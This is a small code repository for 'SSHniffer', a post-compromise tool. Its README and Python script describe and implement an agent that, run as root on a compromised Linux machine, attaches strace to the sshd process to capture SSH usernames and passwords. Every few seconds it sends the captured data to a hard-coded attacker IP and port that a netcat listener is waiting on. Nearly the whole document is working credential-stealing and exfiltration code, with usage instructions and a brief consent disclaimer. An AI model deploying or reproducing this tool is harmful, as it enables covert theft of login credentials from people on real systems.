├── README.md └── SSHniffer.py /README.md: -------------------------------------------------------------------------------- 1 | # 👃🏼SSHniffer V1.0👃🏼 2 | *This tool is intended for security professionals and is intended to be 3 | used with proper concent.* 4 | 5 | 6 | ## What is this tool? 7 | A post-compromise agent to be deployed on rooted linux machines designed 8 | to quietly listen for SSH connections. When a domain user/service connects 9 | to the linux device with a password, the agent will log the sshd process 10 | data by using strace. (Note: this *does not* work when a user 11 | authenticates via pem key). The agent also periodically attempts to 12 | connect back to a hard coded IP and port to send the contents of the sshd 13 | process data which includes a user name and password. From your attacking 14 | machine, simply open up a NetCat port that you have the agent configured 15 | to connect back to and the agent will pipe it over to you. 16 | 17 | ## How to use this tool? 18 | This is a very simple to use program. Simply download the python script and 19 | modify it to send data back to your IP and Port. Once configured, place 20 | the shell script on the compromised linux device, and execute "python3 SSHniffer.py" with root context. This tool will continously run in the 21 | background and send data once you open up the configured listening port on 22 | your attacking machine. 23 | 24 | ## Expected updates: 25 | - Rust version 26 | - Bash one-liner 27 | - Continous streaming: 28 | - Currently you need to break the socket and reconnect for updated data 29 | - Eaiser readable format: 30 | - At the moment, the data is very messy and not very 31 | predicatable. Currently working on a way to grep out user and password 32 | data only. 33 | - Better status updates: 34 | - Have the program be informed when it recieves an SSH connection and possibly display user:pass to terminal. (Need to find a reliable way to grep first.) 35 | 36 | ## Demo: 37 | https://github.com/JitBox/SSHniffer/assets/64562427/a60a6a04-feee-4697-a323-e549c39c49d4 38 | 39 | -------------------------------------------------------------------------------- /SSHniffer.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | import os 3 | import time 4 | import socket 5 | import threading 6 | import sys 7 | 8 | def find_sshd_pid(): 9 | result = subprocess.run(['pgrep', 'sshd'], stdout=subprocess.PIPE, text=True) 10 | return result.stdout.strip() 11 | 12 | def start_strace(sshd_pid, output_file): 13 | strace_command = ["strace", "-f", "-p", sshd_pid, "-e", "trace=write", "-o", output_file] 14 | subprocess.Popen(strace_command, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 15 | 16 | def send_data_to_remote(data, remote_host, remote_port): 17 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: 18 | try: 19 | s.connect((remote_host, remote_port)) 20 | s.sendall(data.encode()) 21 | print(f"[+] Data successfully sent to {remote_host}:{remote_port}") 22 | except ConnectionRefusedError: 23 | pass 24 | except Exception as e: 25 | print(f"Error sending data: {e}") 26 | 27 | def periodically_send_data(output_file, remote_host, remote_port, interval=5): 28 | while True: 29 | time.sleep(interval) 30 | with open(output_file, 'r') as file: 31 | file_data = file.read() 32 | send_data_to_remote(file_data, remote_host, remote_port) 33 | 34 | def main(): 35 | if os.geteuid() != 0: 36 | print("[X] This needs to be ran as root. Exiting..") 37 | sys.exit(1) 38 | print("[+] Silently listening for ssh traffic...") 39 | output_file = "/tmp/output.txt" ### CHANGE ME 40 | remote_host = "192.168.1.77" ### CHANGE ME 41 | remote_port = 6666 ### CHANGE ME 42 | 43 | sshd_pid = find_sshd_pid() 44 | 45 | if not os.path.exists(output_file): 46 | with open(output_file, "w"): 47 | pass 48 | 49 | if sshd_pid: 50 | start_strace(sshd_pid, output_file) 51 | else: 52 | print("Error: Unable to find the PID of sshd.") 53 | return 54 | 55 | # Start a separate thread for periodically sending data 56 | send_thread = threading.Thread(target=periodically_send_data, args=(output_file, remote_host, remote_port)) 57 | send_thread.daemon = True 58 | send_thread.start() 59 | 60 | try: 61 | while True: 62 | time.sleep(1) 63 | except KeyboardInterrupt: 64 | pass 65 | 66 | if __name__ == "__main__": 67 | main() 68 | --------------------------------------------------------------------------------